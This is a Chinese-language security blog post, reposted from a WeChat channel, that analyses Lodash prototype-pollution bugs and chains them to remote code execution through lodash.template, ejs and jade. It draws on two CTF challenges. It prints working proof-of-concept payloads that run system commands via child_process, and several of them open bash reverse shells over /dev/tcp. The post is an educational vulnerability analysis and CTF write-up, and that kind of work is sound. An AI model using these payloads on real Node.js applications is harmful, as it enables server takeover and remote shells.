【技术分享】从 Lodash 原型链污染到模板 RCE

admin 2021年12月28日23:59:13评论72 views字数 12516阅读41分43秒阅读模式

【技术分享】从 Lodash 原型链污染到模板 RCE

 

Lodash模块原型链污染

Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。

  • lodash.defaultsDeep 方法造成的原型链污染(CVE-2019-10744)

2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:

const mergeFn = require('lodash').defaultsDeep;const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() { mergeFn({}, JSON.parse(payload)); if (({})[`a0`] === true) { console.log(`Vulnerable to Prototype Pollution via ${payload}`); } }
check();

我们在 mergeFn({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

【技术分享】从 Lodash 原型链污染到模板 RCE

成功在 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

该漏洞披露之后,Lodash 于 7 月 9 日发布了 4.17.12 版本,其中包括 Snyk 修复和修复漏洞。我们可以参考一下 Snyk 的工程师 Kirill 发布到 GitHub 上的 lodash JavaScript 库存储库 https://github.com/lodash/lodash/pull/4336/files 的实际安全修复:

【技术分享】从 Lodash 原型链污染到模板 RCE

【技术分享】从 Lodash 原型链污染到模板 RCE

该修复包括以下两项安全检查:

过滤了 constructor 以确保我们不会污染全局对象constructor

还添加了一个测试用例以确保将来不会发生回归

  • lodash.merge 方法造成的原型链污染

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象:

merge(object, sources)

当两个键相同时,生成的对象将具有最右边的键的值。如果多个对象相同,则新生成的对象将只有一个与这些对象相对应的键和值。但是这里的 lodash.merge 操作实际上存在原型链污染漏洞,下面对其进行简单的分析,这里使用 4.17.4 版本的 Lodash。

node_modules/lodash/merge.js

【技术分享】从 Lodash 原型链污染到模板 RCE

merge.js 调用了 baseMerge 方法,则定位到 baseMerge

node_modules/lodash/_baseMerge.js

【技术分享】从 Lodash 原型链污染到模板 RCE

如果 srcValue 是一个对象则进入 baseMergeDeep 方法,跟进 baseMergeDeep 方法:

node_modules/lodash/_baseMergeDeep.js

【技术分享】从 Lodash 原型链污染到模板 RCE

跟进 assignMergeValue 方法:

node_modules/lodash/_assignMergeValue.js:

【技术分享】从 Lodash 原型链污染到模板 RCE

跟进 baseAssignValue 方法:

node_modules/lodash/_baseAssignValue.js

【技术分享】从 Lodash 原型链污染到模板 RCE

这里的 if 判断可以绕过,最终进入 object[key] = value 的赋值操作。

下面给出一个验证漏洞的 POC:

var lodash= require('lodash');var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};console.log("Before whoami: " + a.whoami);lodash.merge({}, JSON.parse(payload));console.log("After whoami: " + a.whoami);

我们在 lodash.merge({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

【技术分享】从 Lodash 原型链污染到模板 RCE

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后文中我们会通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。

  • lodash.mergeWith 方法造成的原型链污染

这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。如果 customizer 返回 undefined 将会由合并处理方法代替。

mergeWith(object, sources, [customizer])

该方法与 merge 方法一样存在原型链污染漏洞,下面给出一个验证漏洞的 POC:

var lodash= require('lodash');var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};console.log("Before whoami: " + a.whoami);lodash.mergeWith({}, JSON.parse(payload));console.log("After whoami: " + a.whoami);

我们在 lodash.mergeWith({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

【技术分享】从 Lodash 原型链污染到模板 RCE

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

  • lodash.set 方法造成的原型链污染

Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。缺少的索引属性会创建为数组,而缺少的属性会创建为对象。

set(object, path, value)
示例:
var object = { 'a': [{ 'b': { 'c': 3 } }] };
_.set(object, 'a[0].b.c', 4);console.log(object.a[0].b.c);// => 4
_.set(object, 'x[0].y.z', 5);console.log(object.x[0].y.z);// => 5

在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:

var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };var object_2 = {}
console.log(object_1.whoami);//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');console.log(object_1.whoami);

我们在 lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点,单步结束后可以看到:

【技术分享】从 Lodash 原型链污染到模板 RCE

在类型为 Array 的 object1 对象的 `_proto属性中出现了一个whoami属性,值为Vulnerable`,污染成功。

  • lodash.setWith 方法造成的原型链污染

Lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer,用来调用并决定如何设置对象路径的值。如果 customizer 返回 undefined 将会有它的处理方法代替。

setWith(object, path, value, [customizer])

该方法与 set 方法一样可以进行原型链污染,下面给出一个验证漏洞的 POC:

var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };var object_2 = {}
console.log(object_1.whoami);//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');console.log(object_1.whoami);

我们在 lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点,单步结束后可以看到:

【技术分享】从 Lodash 原型链污染到模板 RCE

在类型为 Array 的 object1 对象的 `_proto属性中出现了一个whoami属性,值为Vulnerable`,污染成功。

至此,我们已经对 lodash 模块中的几个原型链污染做了验证,可以成功污染原型中的属性。但如果要进行代码执行,则还需要配合 eval() 方法的执行或模板引擎的渲染。

 

配合lodash.template实现RCE

Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置。详情请看:http://lodash.think2011.net/template

在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。下面我们通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。

  • [Code-Breaking 2018]Thejs

进入题目,主页如下:

【技术分享】从 Lodash 原型链污染到模板 RCE

关键源码如下:

  • server.js

const fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')
const app = express()app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) // 使用 json 解析 bodyapp.use('/static', express.static('static'))app.use(session({ // 启用 session name: 'thejs.session', secret: randomize('aA0', 16), resave: false, saveUninitialized: false}))app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎 fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用 let rendered = compiled({...options})
return callback(null, rendered) })})app.set('views', './views')app.set('view engine', 'ejs')
app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) // 将用户提交的数据合并到 req.session.data 中去 req.session.data = data }
res.render('index', { language: data.language, category: data.category })})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))

代码很简单,就是将用户提交的信息,用 lodash.merge 方法合并到 session 里面去,多次提交, session 里最终保存你提交的所有信息。这里的 lodash.merge 操作存在原型链污染漏洞无需多言,下面给出解题的 payload;

{"__proto__":{"sourceURL":"u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
为什么要污染 sourceURL 呢?我们看到 lodash.template 的代码:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
// Use a sourceURL for easier debugging.var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + 'n' : '';// ...var result = attempt(function() {  return Function(importsKeys, sourceURL + 'return ' + source)  .apply(undefined, importsValues);});

可以看到 sourceURL 属性是通过一个三目运算法赋值,其默认值为空。再往下看可以发现 sourceURL 被拼接进 Function 函数构造器的第二个参数,造成任意代码执行漏洞。所以我们通过原型链污染 sourceURL 参数构造 chile_process.exec 就可以执行任意代码了。但是要注意,Function 环境下没有 require 函数,直接使用require('child_process') 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。

我们将 payload 以 Json 的形式发送给后端,因为 express 框架支持根据 Content-Type 来解析请求 Body,为我们注入原型提供了很大方便:

【技术分享】从 Lodash 原型链污染到模板 RCE

如上图所示,成功执行 id 命令。

 

配合ejs模板引擎实现RCE

Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。

  • app.js

var express = require('express');var lodash = require('lodash');var ejs = require('ejs');
var app = express();//设置模板的位置与种类app.set('views', __dirname);app.set('views engine','ejs');
//对原型进行污染var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}';lodash.merge({}, JSON.parse(malicious_payload));
//进行渲染app.get('/', function (req, res) { res.render ("index.ejs",{ message: 'whoami test' });});
//设置httpvar server = app.listen(8000, function () {
var host = server.address().address var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)});
  • index.ejs

<!DOCTYPE html><html><head>    <meta charset="utf-8">    <title></title></head><body>
<h1><%= message%></h1>
</body></html>

运行 app.js 后访问 8000 端口,成功弹出计算器:

【技术分享】从 Lodash 原型链污染到模板 RCE

下面我们开始分析。

刚开始的 lodash.merge 原型链污染没有什么可说的,在 lodash.merge({}, JSON.parse(malicious_payload)); 处下断点,单步结束后可以看到:

【技术分享】从 Lodash 原型链污染到模板 RCE

成功在 __proto__ 中出污染了一个 outputFunctionName 属性,值为 _tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2。

但为什么要污染一个 outputFunctionName 属性呢?我们继续往下看。我们从 index.js::res.render 处开始,跟进 render 方法:

node_modules/express/lib/response.js

【技术分享】从 Lodash 原型链污染到模板 RCE

跟进到 app.render 方法:

node_modules/express/lib/application.js

【技术分享】从 Lodash 原型链污染到模板 RCE

发现最终会进入到 app.render 方法里的 tryRender 函数,跟进到 tryRender:

node_modules/express/lib/application.js

【技术分享】从 Lodash 原型链污染到模板 RCE

调用了 view.render 方法,继续跟进 view.render :

node_modules/express/lib/view.js

【技术分享】从 Lodash 原型链污染到模板 RCE

至此调用了 engine,也就是说从这里进入到了模板渲染引擎 ejs.js 中。跟进 ejs.js 中的 renderFile 方法:

node_modules/ejs/ejs.js

【技术分享】从 Lodash 原型链污染到模板 RCE

发现 renderFile 中又调用了 tryHandleCache 方法,跟进 tryHandleCache:

node_modules/ejs/ejs.js

【技术分享】从 Lodash 原型链污染到模板 RCE

进入到 handleCache 方法,跟进 handleCache:

node_modules/ejs/ejs.js

【技术分享】从 Lodash 原型链污染到模板 RCE

在 handleCache 中找到了渲染模板的 compile 方法,跟进 compile:

【技术分享】从 Lodash 原型链污染到模板 RCE

发现在 compile 中存在大量的渲染拼接。这里将 opts.outputFunctionName 拼接到 prepended 中,prepended 在最后会被传递给 this.source 并被带入函数执行。所以如果我们能够污染 opts.outputFunctionName,就能将我们构造的 payload 拼接进 js 语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render 方法,其最终也是进入了 compile。最后给出几个 ejs 模板引擎 RCE 常用的 POC:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/xxx/6666 0>&1"');var __tmp2"}}
  • [XNUCA 2019 Qualifier]Hardjs

进入题目是一个登录页面:

【技术分享】从 Lodash 原型链污染到模板 RCE

关键源码如下:

  • server.js

const fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')const mysql = require('mysql')const mysqlConfig = require("./config/mysql")const ejs = require('ejs')
...
app.get("/get",auth,async function(req,res,next){
var userid = req.session.userid ; var sql = "select count(*) count from `html` where userid= ?" // var sql = "select `dom` from `html` where userid=? "; var dataList = await query(sql,[userid]);
if(dataList[0].count == 0 ){ res.json({})
}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? "; var raws = await query(sql,[userid]); var doms = {} var ret = new Array();
for(var i=0;i<raws.length ;i++){ lodash.defaultsDeep(doms,JSON.parse( raws[i].dom )); // 漏洞点
var sql = "delete from `html` where id = ?"; var result = await query(sql,raws[i].id); } var sql = "insert into `html` (`userid`,`dom`) values (?,?) "; var result = await query(sql,[userid, JSON.stringify(doms) ]);
if(result.affectedRows > 0){ ret.push(doms); res.json(ret); }else{ res.json([{}]); }
}else {
console.log("Return recorder is less than 5,so return it without merge."); var sql = "select `dom` from `html` where userid=? "; var raws = await query(sql,[userid]); var ret = new Array();
for( var i =0 ;i< raws.length ; i++){ ret.push(JSON.parse( raws[i].dom )); }
console.log(ret); res.json(ret); }
});
...

查看 /get 路由的逻辑,可以看到当条数大于五条时会触 merge 发合并操作,并且使用的是 lodash.defaultsDeep,这个方法存在原型链污染,在前文已经分析过不在多说。发现题目还使用了 ejs 模板引擎,我们可以通过 ejs 模板引擎进行 RCE。下面给出 payload:

{"type": "test", "content": {"constructor": {"prototype": {"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"');var __tmp2"}}}}

向 /add 路由发送 6 次请求:

【技术分享】从 Lodash 原型链污染到模板 RCE

然后访问 /get 路由进行原型链污染,最后访问 / 或 /login 路由触发 render 函数进行 ejs 模板 RCE,成功反弹 Shell:

【技术分享】从 Lodash 原型链污染到模板 RCE

 

配合jade模板引擎实现RCE

Nodejs 的 jade 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。

  • app.js

var express = require('express');var lodash= require('lodash');var jade = require('jade');
var app = express();//设置模板的位置与种类app.set('views', __dirname);app.set("view engine", "jade");
//对原型进行污染var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}';lodash.merge({}, JSON.parse(malicious_payload));
//进行渲染app.get('/', function (req, res) { res.render ("index.jade",{ message: 'whoami test' });});
//设置httpvar server = app.listen(8000, function () {
var host = server.address().address var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)});
  • index.jade

h1 #{message}p #{message}

运行 app.js 后访问 8000 端口,成功弹出计算器:

【技术分享】从 Lodash 原型链污染到模板 RCE

下面我们开始分析。

Jade 模板引擎 RCE 的挖掘思路和 ejs 模板的思路很像,当开始都是:res.render => app.render => tryRender => view.render => this.engine,然后从 engine 开始进入 jade 模板,jade 入口是 exports.__express:

【技术分享】从 Lodash 原型链污染到模板 RCE

首先可以看到 options.compileDebug 无初始值,所以我们可以通过原型污染覆盖开启 Debug 模式,即:

{"__proto__":{"compileDebug":1}}

然后会进入 renderFile 方法,跟进之:

node_modules/jade/lib/index.js

【技术分享】从 Lodash 原型链污染到模板 RCE

返回的时候进入了 handleTemplateCache 方法,跟进 handleTemplateCache:

node_modules/jade/lib/index.js

【技术分享】从 Lodash 原型链污染到模板 RCE

进入 complie 方法,跟进 complie:

node_modules/jade/lib/index.js

【技术分享】从 Lodash 原型链污染到模板 RCE

Jade 模板和 ejs 不同,在 compile 编译之前会有 parse 解析,跟进 parse:

node_modules/jade/lib/index.js

【技术分享】从 Lodash 原型链污染到模板 RCE

在 parse 中先经过 parser.parse 解析,然后由 compiler.compile 进行编译,最后返回编译后代码:

【技术分享】从 Lodash 原型链污染到模板 RCE

但是在 body 中存在发现报错处理入口 addWith,只要不进入这个条件分支就可以避免报错了,也就需要我们通过原型污染将 self 覆盖为 true:

{"__proto__":{"compileDebug":1,"self":1}}

然后我们回过头来跟进 compiler.compile,看看其作用:

node_modules/jade/lib/compiler.js

【技术分享】从 Lodash 原型链污染到模板 RCE

首先,编译后代码会存放在 this.buf 中,然后通过 this.visit(this.node) 遍历分析 parse 产生的 AST 树 this.node,跟进 visit:

node_modules/jade/lib/compiler.js

【技术分享】从 Lodash 原型链污染到模板 RCE

可以看到,如果 debug 为真,则 node.line 就会被 push 进去,并造成拼接,然后就可以返回 buf 部分进行命令执行。所以最终的 Payload 如下:

{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}

Ending……

【技术分享】从 Lodash 原型链污染到模板 RCE


- End -
精彩推荐
【技术分享】CTF 中如何欺骗 AI
【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析
【技术分享】祥云杯 By 天璇Merak
【技术分享】K8S Runtime入侵检测之Falco
【技术分享】从 Lodash 原型链污染到模板 RCE
戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):【技术分享】从 Lodash 原型链污染到模板 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月28日23:59:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】从 Lodash 原型链污染到模板 RCEhttp://cn-sec.com/archives/473495.html

发表评论

匿名网友 填写信息